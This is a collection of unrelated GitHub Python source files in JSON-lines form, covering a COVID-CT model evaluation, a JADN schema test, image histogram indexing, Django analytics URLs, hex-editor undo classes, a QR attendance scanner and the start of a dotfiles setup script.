paz_name = []\n start = 0\n p = test_df[start,0]\n while(os.path.exists(p) == False):\n start += 1\n p = test_df[start,0]\n current = test_df[start,0].split('_')[0][5:]\n if test_df[start, 1] == 2:\n y = 1\n else:\n y = test_df[start, 1]\n y_real.append(y)\n paz_name.append(current)\n print(\"primo paziente valido: \", current) \n for row in tqdm(test_df[start:]):\n name = row[0]\n if os.path.exists(name):\n paziente = name.split('_')[0][5:]\n if paziente == current:\n img = cv2.imread(name, 0) \n img = cv2.resize(img, (ISIZE, ISIZE)) / 255.\n img = np.expand_dims(img, axis=-1)\n scans.append(img)\n # gradcam_main(model, img, name.split('/')[-1], y)\n else:\n ### cambio paziente!\n y_pred = []\n scans = np.array(scans)\n predictions = model.predict(scans, verbose=0, batch_size=1)\n for prediction in predictions:\n classes = np.argmax(prediction)\n prob = prediction[classes]\n y_pred.append(classes)\n y_pred = np.array(y_pred)\n count_ric = np.bincount(y_pred)\n y_max = count_ric.argmax()\n # if len(count_ric)>=2 and count_ric[1]>len(scans)*0.2:\n # y_max = 1\n # elif len(count_ric)==3 and count_ric[2]>len(scans)*0.3:\n # y_max = 2\n # else:\n # y_max = count_ric.argmax()\n pred_per_paz.append(y_max)\n count_ric_per_paz.append(count_ric)\n \n \n current = row[0].split('_')[0][5:]\n paz_name.append(current)\n if row[1] == 2:\n y = 1\n else:\n y = row[1]\n y_real.append(y)\n scans = []\n img = cv2.imread(name, 0) \n img = cv2.resize(img, (ISIZE, ISIZE))\n img = np.expand_dims(img, axis=-1)/255.\n # gradcam_main(model, img, name.split('/')[-1], y)\n scans.append(img)\n print(current, paziente)\n y_pred = []\n scans = np.array(scans)\n print(np.shape(scans))\n \n predictions = model.predict(scans, verbose=0, batch_size=1)\n # print(np.shape(predictions))\n for prediction in predictions:\n classes = np.argmax(prediction)\n # prob = prediction[classes]\n y_pred.append(classes)\n \n y_pred = np.array(y_pred)\n y_real = np.array(y_real)\n \n return y_real, y_pred, paz_name\n\ndef from_csv(csv, a=0.2):\n y_pred = []\n y_real = []\n pazienti_fatti = []\n for _, row in csv.iterrows():\n name = row[0].split('_')[0]\n name = name[5:]+'_'\n if name in pazienti_fatti:\n continue\n else:\n ###\n # make gradcam #\n # model_name = \"model/model_split_20220406-123204\" \n # print(\"[INFO] MODEL NAME: \", model_name)\n # model = tf.keras.models.load_model(model_name)\n # img = cv2.imread(row[0], 0) \n # img = cv2.resize(img, (ISIZE, ISIZE))\n # img = np.expand_dims(img, axis=-1)/255.\n # gradcam_main(model, img, name.split('/')[-1], y)\n pazienti_fatti.append(name)\n y_real.append(row[2])\n pred_paziente = csv[csv['filename'].str.contains(name)]['y_pred']\n n_scan = len(pred_paziente)\n count_ric = np.bincount(pred_paziente)\n y_max = count_ric.argmax()\n if len(count_ric)==2 and count_ric[1]>n_scan*a:\n y_max = 1\n # elif len(count_ric)>=2 and count_ric[1]>n_scan*0.2:\n # y_max = 1\n else:\n y_max = count_ric.argmax()\n y_pred.append(y_max)\n return np.array(y_real), np.array(y_pred), pazienti_fatti\n \ndef unife_img_paziente(test_df):\n model_name = \"model/model_split_20220406-123204\" \n print(\"[INFO] MODEL NAME: \", model_name)\n model = tf.keras.models.load_model(model_name)\n y_real = []\n pred_per_paz = []\n count_ric_per_paz = []\n paz_name = []\n for row in tqdm(test_df):\n try:\n name = 'dataset/unife/png/' + row\n if os.path.exists(name) and '.DS_Store' not in name:\n scans_path = os.listdir(name)\n scans = []\n for p in scans_path:\n img = cv2.imread(name+'/'+p, 0) \n img, _ = auto_body_crop(img)\n img = cv2.resize(img, (ISIZE, ISIZE)) / 255.\n img = np.expand_dims(img, axis=-1)\n scans.append(img)\n # gradcam_main(model, img, name.split('/')[-1], y)\n scans = np.array(scans)\n predictions = model.predict(scans, verbose=0, batch_size=1)\n y_pred = []\n for prediction in predictions:\n classes = np.argmax(prediction)\n prob = prediction[classes]\n y_pred.append(classes)\n y_pred = np.array(y_pred)\n count_ric = np.bincount(y_pred)\n y_max = count_ric.argmax()\n if 'NEG' in row:\n y = 0\n else:\n y = 2\n y_real.append(y)\n paz_name.append(row)\n # if len(count_ric)>=2 and count_ric[1]>len(scans)*0.2:\n # y_max = 1\n # elif len(count_ric)==3 and count_ric[2]>len(scans)*0.3:\n # y_max = 2\n # else:\n # y_max = count_ric.argmax()\n pred_per_paz.append(y_max)\n count_ric_per_paz.append(count_ric)\n except:\n continue\n pred_per_paz = np.array(pred_per_paz)\n y_real = np.array(y_real)\n paz_name = np.array(paz_name)\n \n return y_real, pred_per_paz, paz_name\n\ndef unife_img(test_df):\n base_path = 'dataset/unife/preproc/'\n model_name = \"model/model_split_20220406-123204\" \n print(\"[INFO] MODEL NAME: \", model_name)\n model = tf.keras.models.load_model(model_name)\n y_test = []\n x_test = []\n y_pred = [] \n filename = []\n for row in tqdm(test_df):\n name = base_path + row\n try:\n #print(\"[INFO] immagine utilizzabile: \", name)\n if os.path.exists(name):\n img = cv2.imread(name, 0) \n img = cv2.resize(img, (ISIZE, ISIZE))\n img = np.expand_dims(img, axis=-1)\n x_test.append(img/255.)\n filename.append(name)\n # gradcam_main(model, img, name.split('/')[-1], row[1])\n if 'NEG' in row:\n y = 0\n else:\n y = 2\n y_test.append(y)\n except:\n continue\n x_test = np.array(x_test)\n predictions = model.predict(x_test, verbose=1, batch_size=1)\n for prediction in tqdm(predictions):\n classes = np.argmax(prediction)\n prob = prediction[classes]\n y_pred.append(classes)\n y_pred = np.array(y_pred)\n y_test = np.array(y_test)\n \n return y_test, y_pred, filename\n\n\n\nif __name__=='__main__':\n crop = False\n # test_df = pd.read_csv('total_test_data.csv')\n test_df = pd.read_csv('result_3_class.csv')\n test_df = test_df.iloc[:, 1:]\n print(test_df)\n # test_df = np.array(test_df)\n # print(np.shape(test_df))\n # test_df = os.listdir('dataset/unife/preproc/')\n a_max = 0\n y_max = []\n acc_max = 0\n for a in np.arange(0.05, 0.16, 0.05):\n y_real, y_pred, paz_name = from_csv(test_df, a=a)\n test_acc = sum(y_pred == y_real) / len(y_real)\n print(test_acc, a)\n if test_acc > acc_max:\n acc_max=test_acc\n y_max = y_pred\n a_max = a\n print(\"accuracy max: \",acc_max, \"alfa mac: \", a_max) \n confusion_mtx = tf.math.confusion_matrix(y_real, y_max)\n print(\"Confusion matrix:\\n\",confusion_mtx)\n pd.DataFrame({'filename': paz_name, 'real': y_real, 'pred': y_pred}).to_csv('ris.csv')\n\n","repo_name":"bizzarriA/COVID-CT","sub_path":"test_patient.py","file_name":"test_patient.py","file_ext":"py","file_size_in_byte":8774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3796291097","text":"import unittest\n\nfrom libs.codec.codec import Codec\nfrom libs.codec.jadn import jadn_check, jadn_analyze\n\nschema_person = { # JADN schema for Lint Server example messages\n \"meta\": {\"module\": \"LintExample1\",\n \"description\": \"Person schema from https://developers.google.com/protocol-buffers/docs/overview\"},\n \"types\": [\n [\"Person\", \"Record\", [], \"Person datatype\", [\n [1, \"name\", \"String\", [], \"\"],\n [2, \"id\", \"Integer\", [], \"\"],\n [3, \"email\", \"String\", [\"?\"], \"\"],\n [4, \"phone\", \"PhoneNumbers\", [\"?\"], \"\"]\n ]],\n\n [\"PhoneNumbers\", \"Array\", [\"#PhoneNumber\"], \"\"],\n\n [\"PhoneNumber\", \"Record\", [], \"\", [\n [1, \"number\", \"String\", [], \"\"],\n [2, \"type\", \"PhoneType\", [\"?\"], \"\"]\n ]],\n\n [\"PhoneType\", \"Enumerated\", [], \"\", [\n [0, \"MOBILE\", \"\"],\n [1, \"HOME\", \"\"],\n [2, \"WORK\", \"\"]\n ]]\n ]}\n\nclass BasicTypes(unittest.TestCase):\n\n def setUp(self):\n jadn_check(schema_person)\n jadn_analyze(schema_person)\n self.c = Codec(schema_person, \"True\", \"True\") # Verbose encoding mode (dict/name)\n\n def test_person(self):\n p1 = {\n \"name\": \"Jon Public\",\n \"id\": 196432}\n\n p2 = {\n \"name\": \"Jon Public\",\n \"id\": 196432,\n \"email\": \"jon.p@example.org\"}\n\n p3 = {\n \"name\": \"Jon Public\",\n \"id\": 196432,\n \"phone\": [\n {\"number\": \"201-555-1234\"},\n {\"number\": \"201-555-5678\", \"type\": \"WORK\"}\n ]\n }\n\n p4bad = { # Missing required id\n \"name\": \"Jon Public\"\n }\n\n p5bad = { # Bad phone type\n \"name\": \"Jon Public\",\n \"id\": 196432,\n \"phone\": [\n {\"number\": \"201-555-1234\", \"type\": \"CELL\"}\n ]\n }\n\n self.assertEqual(self.c.encode(\"Person\", p1), p1)\n self.assertEqual(self.c.encode(\"Person\", p2), p2)\n self.assertEqual(self.c.encode(\"Person\", p3), p3)\n with self.assertRaises(ValueError):\n self.assertEqual(self.c.encode(\"Person\", p4bad), p4bad)\n with self.assertRaises(ValueError):\n self.assertEqual(self.c.encode(\"Person\", p5bad), p5bad)\n","repo_name":"OpenC2-org/openc2-davaya","sub_path":"pub-jadn/jadn/test_lint_examples.py","file_name":"test_lint_examples.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26390779381","text":"import cv2\r\nimport pickle\r\nclass Histogram:\r\n def __init__(self,bins):\r\n self.bins=bins\r\n def ThreeDColorHistogram(self,img):\r\n hist=cv2.calcHist([img],[0,1,2],None,self.bins,[0,256,0,256,0,256])\r\n hist=cv2.normalize(hist,hist)\r\n return hist.flatten()\r\ndict1={}\r\nfor i in range(1,26):\r\n name='Image'+str(i)+'.png'\r\n img=cv2.imread(name,cv2.IMREAD_COLOR)\r\n WindowSize=(512,512)\r\n img=cv2.resize(img,WindowSize,interpolation=cv2.INTER_CUBIC)\r\n bins=[8,8,8]\r\n ColorHist=Histogram(bins)\r\n dict1['Image'+str(i)+'.png']=ColorHist.ThreeDColorHistogram(img)\r\npickle_out=open(\"Features.pickle\",'wb')\r\npickle.dump(dict1,pickle_out)\r\npickle_out.close()\r\ncv2.destroyAllWindows()\r\n","repo_name":"Saikat83/Content-Based-Image-Retrieval","sub_path":"CBIR_Indexing.py","file_name":"CBIR_Indexing.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71042557334","text":"#!/usr/bin/python3\n\"\"\"\n divides all elements of a matrix.\n\"\"\"\n\n\ndef matrix_divided(matrix, div):\n \"\"\" divides all elements of a matrix. \"\"\"\n err_message = \"matrix must be a matrix (list of lists) of integers/floats\"\n\n if matrix is None or type(matrix) is not list:\n raise TypeError(Error)\n\n if type(matrix[0]) is not list:\n raise TypeError(err_message)\n matrix_len = len(matrix[0])\n\n for row in matrix:\n if len(row) != matrix_len:\n raise TypeError(\"Each row of the matrix must have the same size\")\n for element in row:\n if type(element) is not int and type(element) is not float:\n raise TypeError(err_message)\n\n if type(div) is not int:\n raise TypeError(\"div must be a number\")\n if div == 0:\n raise ZeroDivisionError(\"division by zero\")\n\n new_matrix = [[] for _ in range(0, len(matrix))]\n counter = 0\n\n for row in matrix:\n for element in row:\n new_matrix[counter].append(round(element / div, 2))\n counter += 1\n\n return new_matrix\n","repo_name":"wishon1/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/2-matrix_divided.py","file_name":"2-matrix_divided.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32924213722","text":"\"\"\"\nUrl config file.\n\"\"\"\nfrom django.conf.urls import url\n\nfrom rg_instructor_analytics.views.Cohort import CohortSendMessage, CohortView\nfrom rg_instructor_analytics.views.Enrollment import EnrollmentStatisticView\nfrom rg_instructor_analytics.views.Funnel import GradeFunnelView\nfrom rg_instructor_analytics.views.Gradebook import GradebookView\nfrom rg_instructor_analytics.views.Problem import (\n ProblemDetailView, ProblemHomeWorkStatisticView, ProblemQuestionView, ProblemsStatisticView\n)\nfrom rg_instructor_analytics.views.Suggestion import SuggestionView\nfrom rg_instructor_analytics.views.TabFragment import InstructorAnalyticsFragmentView\n\nurlpatterns = [\n url(r'^api/enroll_statics/$', EnrollmentStatisticView.as_view(), name='enrollment_statistic_view'),\n\n url(\n r'^api/problem_statics/homework/$',\n ProblemHomeWorkStatisticView.as_view(),\n name='problem_homework_statistic_view'\n ),\n\n url(r'^api/problem_statics/homeworksproblems/$', ProblemsStatisticView.as_view(), name='problems_statistic_view'),\n\n url(r'^api/problem_statics/problem_detail/$', ProblemDetailView.as_view(), name='problem_detail_view'),\n\n url(r'^api/problem_statics/problem_question_stat/$', ProblemQuestionView.as_view(), name='problem_question_view'),\n\n url(r'^api/gradebook/$', GradebookView.as_view(), name='gradebook_view'),\n\n url(r'^api/cohort/$', CohortView.as_view(), name='cohort_view'),\n\n url(r'^api/cohort/send_email/$', CohortSendMessage.as_view(), name='send_email_to_cohort'),\n\n url(r'^api/funnel/$', GradeFunnelView.as_view(), name='funnel'),\n\n url(r'^api/suggestion/$', SuggestionView.as_view(), name='suggestion'),\n\n url(r'^', InstructorAnalyticsFragmentView.as_view(), name='instructor_analytics_dashboard'),\n]\n","repo_name":"raccoongang/rg_instructor_analytics","sub_path":"rg_instructor_analytics/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"18891395486","text":"import enum\nimport tkinter as tk\nfrom math import floor\nfrom typing import MutableMapping\nfrom typing import Optional\nfrom typing import List\nfrom typing import Tuple\n\nfrom .common import BaseEngine\nfrom .common import BaseMemento\nfrom .common import CellCoord\nfrom .common import EngineStatus\nfrom .utils import VALUE_FORMAT_CHAR\nfrom .utils import VALUE_FORMAT_PREFIX\nfrom .utils import VALUE_FORMAT_SUFFIX\nfrom .utils import ValueFormatEnum\nfrom bytesparse.base import Address\nfrom bytesparse.base import AnyBytes\nfrom bytesparse.base import Value\nfrom bytesparse.inplace import Memory\n\n\n# =====================================================================================================================\n\nclass MoveCursor(BaseMemento):\n\n def __init__(\n self,\n engine: BaseEngine,\n status: EngineStatus,\n cell_x: CellCoord,\n cell_y: CellCoord,\n cell_digit: CellCoord,\n ):\n super().__init__(engine, status)\n\n self._cursor_cell_prev = status.cursor_cell\n self._cursor_digit_prev = status.cursor_digit\n\n self._cursor_cell_next = (cell_x, cell_y)\n self._cursor_digit_next = cell_digit\n\n def redo(self) -> None:\n engine = self._engine\n engine.set_cursor_cell(*self._cursor_cell_next, self._cursor_digit_next)\n\n def undo(self) -> None:\n engine = self._engine\n engine.escape_selection()\n engine.set_cursor_cell(*self._cursor_cell_prev, self._cursor_digit_prev)\n\n\n# ---------------------------------------------------------------------------------------------------------------------\nclass MoveMemory(BaseMemento):\n\n def __init__(\n self,\n engine: BaseEngine,\n status: EngineStatus,\n offset: Address,\n ):\n super().__init__(engine, status)\n self._offset: Address = offset\n self._backups: List[Memory] = []\n\n def redo(self) -> None:\n backups = self._backups\n backups.clear()\n memory = self._status.memory\n memory.shift(self._offset, backups=backups)\n # FIXME: Update widget memory data\n # FIXME: Move cursor to start of shifted block\n\n def undo(self) -> None:\n memory = self._status.memory\n memory.shift(-self._offset)\n for backup in reversed(self._backups):\n memory.write(0, backup)\n # FIXME: Update widget memory data\n # FIXME: Move cursor to start of first backup block\n\n\n# ---------------------------------------------------------------------------------------------------------------------\nclass WriteData(BaseMemento):\n\n def __init__(\n self,\n engine: BaseEngine,\n status: EngineStatus,\n address: Address,\n data: AnyBytes,\n ):\n super().__init__(engine, status)\n self._address: Address = address\n self._data: AnyBytes = data\n self._backups: List[Memory] = []\n\n def redo(self) -> None:\n backups = self._backups\n backups.clear()\n memory = self._status.memory\n memory.write(self._address, self._data, backups=backups)\n # FIXME: Update widget memory data\n # FIXME: Move cursor to endex of written block\n\n def undo(self) -> None:\n memory = self._status.memory\n memory.clear(self._address, len(self._data))\n for backup in reversed(self._backups):\n memory.write(0, backup)\n # FIXME: Update widget memory data\n # FIXME: Move cursor to start of first backup block\n\n\n# ---------------------------------------------------------------------------------------------------------------------\nclass ClearData(BaseMemento):\n\n def __init__(\n self,\n engine: BaseEngine,\n status: EngineStatus,\n address: Address,\n size: int,\n ):\n if size < 1:\n raise ValueError('size must be positive')\n super().__init__(engine, status)\n self._address: Address = address\n self._size: int = size\n self._backups: List[Memory] = []\n\n def redo(self) -> None:\n backups = self._backups\n backups.clear()\n memory = self._status.memory\n memory.clear(self._address, self._address + self._size, backups=backups)\n # FIXME: Update widget memory data\n # FIXME: Move cursor to endex of cleared block\n\n def undo(self) -> None:\n memory = self._status.memory\n memory.clear(self._address, self._address + self._size)\n for backup in reversed(self._backups):\n memory.write(0, backup)\n # FIXME: Update widget memory data\n # FIXME: Move cursor to start of first backup block\n","repo_name":"TexZK/hecks","sub_path":"src/hecks/memento.py","file_name":"memento.py","file_ext":"py","file_size_in_byte":4631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32130808916","text":"from django.views.generic import View\nfrom django.shortcuts import redirect, get_object_or_404\nfrom gallery.models import Photo\nfrom django.http import JsonResponse, HttpResponse\nimport json\n\n\n\ndef test(request):\n if request.method == \"GET\":\n answer = {\n \"answer\": \"result\"\n }\n HttpResponse.status_code = 200\n if request.body:\n answer['content'] = json.loads(request.body)\n return JsonResponse(answer) \n\nclass FavoriteView(View):\n def get(self, request, *args, **kwargs):\n account = self.request.user\n photo = get_object_or_404(Photo, pk=kwargs.get('pk'))\n if account.favorites.filter(pk=kwargs['pk']):\n account.favorites.remove(photo)\n answer = {\n \"answer\": \"result\"\n }\n HttpResponse.status_code = 200\n if request.body:\n answer['content'] = json.loads(request.body)\n return JsonResponse(answer) \n else:\n account.favorites.add(photo)\n answer = {\n \"answer\": \"result\"\n }\n HttpResponse.status_code = 200\n if request.body:\n answer['content'] = json.loads(request.body)\n return JsonResponse(answer) \n\n\n\n","repo_name":"sined862/finalwork_9_denis_yugai","sub_path":"source/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"47227578487","text":"from torch_geometric.data import Batch\n\nfrom fgsim.config import conf\nfrom fgsim.models.metrics.dcd import dcd\nfrom fgsim.utils.jetnetutils import to_stacked_mask\n\n\nclass LossGen:\n def __init__(\n self, alpha, lpnorm: float = 2.0, batch_wise: bool = False, pow: float = 1\n ) -> None:\n self.alpha: float = alpha\n self.lpnorm: float = lpnorm\n self.batch_wise: bool = batch_wise\n self.pow: float = pow\n\n def __call__(\n self,\n sim_batch: Batch,\n gen_batch: Batch,\n **kwargs,\n ):\n assert gen_batch.x.requires_grad\n n_features = sim_batch.x.shape[1]\n batch_size = int(sim_batch.batch[-1] + 1)\n shape = (\n (1, -1, n_features) if self.batch_wise else (batch_size, -1, n_features)\n )\n sim = to_stacked_mask(sim_batch)[..., : conf.loader.n_features]\n loss = dcd(\n gen_batch.x.reshape(*shape),\n sim.reshape(*shape),\n alpha=self.alpha,\n lpnorm=self.lpnorm,\n pow=self.pow,\n ).mean()\n # if holder.state.epoch >= 150:\n # loss *= 0\n if loss < 0:\n raise Exception\n return loss\n","repo_name":"DeGeSim/nips23DeepTreeGANv2","sub_path":"fgsim/models/loss/dcd.py","file_name":"dcd.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26107933883","text":"# person = [\"tuan anh\", 22, 2, \"Hanoi\", \"Moc chau\", 5, 4, 'Maria', \"Ping Pong\"]\n\n\n#\n# person = {}\n# print(person)\n#\n# person = {\n# #key : value\n# \"name\": \"Tuan Anh\"\n# }\n#\n# print(person)\n\nperson = {\n \"name\": \"Tuan Anh\",\n \"age\": 22,\n \"sex\": \"male\"\n}\n\nfor key in person:\n print(key, person[key])#nó chỉ quan tâm đến key\n\nperson[\"projects\"] = 5 #auto thêm code\n\n# print( person[\"age\"] )\n\n# if \"age\" in persons:\n# print( person[\"age\"] )\n","repo_name":"hacanthi1234/hoangha-fundamentals-c4e15","sub_path":"session5/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16931542187","text":"import math\nimport random\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n\ndef sigmoid(x):\n return 1 / (1 + np.exp(-x))\n\n\ndef deriv_sigmoid(out):\n return out * (1 - out)\n\n\ndef bin2dec(b):\n out = 0\n for i, x in enumerate(b[::-1]):\n out += x * pow(2, i)\n\n return out\n\n\nif __name__ == '__main__':\n BIN_DIM = 20\n INPUT_DIM = 1\n HIDDEN_DIM = 50\n OUTPUT_DIM = 1\n\n LEN = 200\n\n ALPHA = 0.0001\n ITER_NUM = 50000\n LOG_ITER = 100\n PLOT_ITER = ITER_NUM // 200\n\n space = np.linspace(0, 20, LEN)\n sin_data = np.sin(space)\n\n w0 = np.random.normal(0, 1, (INPUT_DIM, HIDDEN_DIM))\n wh = np.random.normal(0, 2, (HIDDEN_DIM, HIDDEN_DIM))\n w1 = np.random.normal(0, 1, (HIDDEN_DIM, OUTPUT_DIM))\n\n # delta values\n d0 = np.zeros_like(w0)\n d1 = np.zeros_like(w1)\n dh = np.zeros_like(wh)\n\n errs = []\n accs = []\n\n error = 0\n accuracy = 0\n\n for i in range(ITER_NUM + 1):\n # a + b = c\n rand_i = random.choice([0, LEN - BIN_DIM - 2])\n inp = sin_data[rand_i:rand_i + BIN_DIM + 1]\n true = sin_data[rand_i + BIN_DIM + 1:rand_i + BIN_DIM + 2]\n pred = sin_data[rand_i + BIN_DIM + 1:rand_i + BIN_DIM + 2]\n\n overall_err = 0 # total error in the whole calculation process.\n\n output_deltas = []\n hidden_values = [np.zeros(HIDDEN_DIM)]\n\n future_delta = np.zeros(HIDDEN_DIM)\n\n # forward propagation\n for pos in range(BIN_DIM):\n X = np.array([inp[pos]]) # shape=(1, 2)\n Y = np.array([inp[pos + 1]]) # shape=(1, 1)\n\n hidden = sigmoid(np.dot(X, w0) + np.dot(hidden_values[-1], wh))\n output = sigmoid(np.dot(hidden, w1))\n\n # pred[pos] = output[0]\n\n # squared mean error\n hidden_values.append(hidden)\n\n output_err = true - output\n output_deltas.append(output_err * deriv_sigmoid(output))\n overall_err += np.abs(output_err[0])\n\n # backpropagation through time\n for pos in range(BIN_DIM - 1, -1, -1):\n X = np.array([inp[pos]])\n\n hidden = hidden_values[pos]\n prev_hidden = hidden_values[pos + 1]\n\n output_delta = output_deltas\n hidden_delta = (np.dot(future_delta, wh.T) + np.dot(output_delta, w1.T)) * deriv_sigmoid(hidden)\n\n d1 += np.dot(np.atleast_2d(hidden).T, np.atleast_2d(output_delta))\n dh += np.dot(np.atleast_2d(prev_hidden).T, np.atleast_2d(hidden_delta))\n d0 += np.dot(X.T, np.atleast_2d(hidden_delta))\n\n future_delta = hidden_delta\n\n w1 += ALPHA * d1\n w0 += ALPHA * d0\n wh += ALPHA * dh\n\n d1 *= 0\n d0 *= 0\n dh *= 0\n\n error += overall_err\n # if bin2dec(pred) == c_dec:\n # accuracy += 1\n #\n # if i % PLOT_ITER == 0:\n # errs.append(error / PLOT_ITER)\n # accs.append(accuracy / PLOT_ITER)\n #\n # error = 0\n # accuracy = 0\n\n if i % LOG_ITER == 0:\n print('Iter', i)\n print(\"Error :\", overall_err)\n print(\"Pred :\", pred)\n print(\"True :\", true)\n print('----------')\n","repo_name":"MikhailKravets/TNT","sub_path":"rnn.py","file_name":"rnn.py","file_ext":"py","file_size_in_byte":3207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34333862491","text":"import cv2\nimport numpy as np\nfrom pyzbar.pyzbar import decode\nimport qrcode \nimport openpyxl\nfrom openpyxl import Workbook\nfrom openpyxl.drawing.image import Image \nfrom openpyxl.styles import Color, PatternFill, Font, Border\nfrom openpyxl.styles import colors\nfrom openpyxl.cell import Cell\n\nwb = openpyxl.load_workbook(\"dataSource\\dummyData-iVolunteer.xlsx\")\nsheets = wb.sheetnames\nsh1 = wb['Sheet1']\n\ncap = cv2.VideoCapture(0)\ncap.set(3,250)\ncap.set(4,250)\nrow = sh1.max_row\ncolumn = sh1.max_column \n\nattendanceGreen = PatternFill(start_color='00ff77',\n end_color='00ff77',\n fill_type='solid')\n\nidList = []\nattendanceIn = []\n\nfor i in range(2,row+1): \n qrVal = sh1.cell(i,1).value\n #print(\"ID val: \"+qrVal,\"added.\")\n idList.append(qrVal)\nprint(\"ID Loaded.\\n\")\n\ndef attendanceCheck(qrData):\n A = 1\n i = 2\n dataVal = str(qrData)\n while A!=0:\n refVal = str(sh1.cell(i,1).value)\n if dataVal == refVal:\n anchorFill = \"G\"+str(i)\n print(\"Welcome\", str(sh1.cell(i,2).value))\n sh1[str(anchorFill)].fill = attendanceGreen\n attendanceIn.append(qrData)\n wb.save(\"dataSource\\dummyData-iVolunteer.xlsx\") \n A = 0\n\n else:\n i += 1\n \nwhile True:\n success, img = cap.read()\n\n for qrcode in decode(img):\n qrData = qrcode.data.decode('utf-8')\n #print (qrData)\n \n if qrData in idList:\n if qrData in attendanceIn:\n qrStatus = 'Registered'\n polyColor = (0,229,255) \n else: \n qrStatus = 'Registering'\n polyColor = (0,255,0) \n attendanceCheck(qrData) \n else:\n qrStatus = 'Not Registered'\n polyColor = (0,0,255)\n \n polyPoints = np.array([qrcode.polygon],np.int32)\n polyPoints= polyPoints.reshape((-1,1,2))\n cv2.polylines(img,[polyPoints],True,polyColor,5)\n pts2 = qrcode.rect\n cv2.putText(img,qrStatus,(pts2[0],pts2[1]),cv2.FONT_HERSHEY_SIMPLEX, 0.9,polyColor,2)\n \n cv2.imshow('iVolunteer ScanQR', img)\n cv2.waitKey(1)","repo_name":"EadrianBasila/iVolunteer-2021","sub_path":"iVolunteer_Scan.py","file_name":"iVolunteer_Scan.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71767297815","text":"from .VecLD import VecLD\nfrom .computeLength import computeLength\nimport numpy as np\n\ndef removeZeroLengthContours(vecLD: VecLD):\n \"\"\"\n Removes contours that only consist of one pixel from a VecLD object.\n \n Args:\n vecLD (VecLD): A VecLD object containing contour data.\n \n Returns:\n resultLD (VecLD): vectorized line drawing wiht zero-length contours removed\n contourIdxRemoved (np.ndarray): indices of contours in vecLD that were removed\n \n Raises:\n TypeError: If vecLD is not a VecLD object.\n \"\"\"\n \n if 'contourLengths' not in vecLD:\n vecLD = computeLength(vecLD)\n \n contourIdxRemoved = np.where(vecLD.contourLengths == 0)[0]\n keepIdx = np.where(vecLD.contourLengths > 0)[0]\n \n return VecLD(\n originalImage = vecLD.originalImage,\n imsize = vecLD.imsize,\n lineMethod = vecLD.lineMethod,\n numContours = len(keepIdx),\n contours = vecLD.contours[keepIdx]\n )\n\nsetattr(VecLD, 'removeZeroLengthContours', removeZeroLengthContours)","repo_name":"sadmanca/MLV_toolbox_python","sub_path":"MLV_toolbox_python/MLV_toolbox/removeZeroLengthContours.py","file_name":"removeZeroLengthContours.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8035050452","text":"import os\nimport platform\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\nimport urllib.request\nimport zipfile\nfrom typing import List, Union\n\n# colors\nRED = \"\\033[0;31m\"\nLIGHTRED = \"\\033[1;31m\"\nGREEN = \"\\033[0;32m\"\nLIGHTGREEN = \"\\033[1;32m\"\nCYAN = \"\\033[0;36m\"\nBOLD = \"\\033[1m\"\nNC = \"\\033[0m\" # No Color\n\nIS_LINUX = os.name == \"posix\"\nIS_WINDOWS = os.name == \"nt\"\nIS_WSL = \"microsoft-standard\" in platform.uname().release\n\nAPT_UPDATED = False\n\nHOME_DIR = os.path.expanduser(\"~\")\nTHIS_DIR = os.path.dirname(os.path.abspath(__file__))\n\nPKGS_DIR = os.path.join(THIS_DIR, \"pkgs\")\nOMP_DIR = os.path.join(THIS_DIR, \"oh-my-posh\")\nWINDOWS_DIR = os.path.join(THIS_DIR, \"windows\")\nLINUX_DIR = os.path.join(THIS_DIR, \"linux\")\n\nif IS_LINUX:\n if os.geteuid() == 0: # type: ignore\n print(f\"{RED}Rerun {BOLD}without{NC}{RED} sudo.{NC}\")\n sys.exit(1)\n\nif IS_WINDOWS:\n APPDATA_DIR = os.environ[\"APPDATA\"]\n LOCALAPPDATA_DIR = os.environ[\"LOCALAPPDATA\"]\n\n import ctypes\n from ctypes.wintypes import MAX_PATH\n\n dll = ctypes.windll.shell32\n buf = ctypes.create_unicode_buffer(MAX_PATH + 1)\n dll.SHGetSpecialFolderPathW(None, buf, 0x0005, False)\n\n DOCUMENTS_DIR = buf.value\n\n\ndef sudo(command: List[str]) -> List[str]:\n return [\"sudo\"] + command\n\n\ndef w(program: str) -> str:\n \"\"\"\n shutil.which, but with an assert to make sure the program was found.\n \"\"\"\n ret = shutil.which(program)\n if ret is None:\n raise FileNotFoundError(f\"Could not find {program}\")\n return ret\n\n\ndef add_line_to_file(filename: str, newline: str) -> None:\n \"\"\"\n Add a new line to a file. If an existing line is found with the same\n starting string, it will be replaced.\n \"\"\"\n newline += \"\\n\"\n\n # read file\n with open(filename, \"r\") as fp:\n lines = fp.readlines()\n\n key = newline.split(\" \", maxsplit=1)[0]\n\n # replace matching line\n found = False\n\n for i, line in 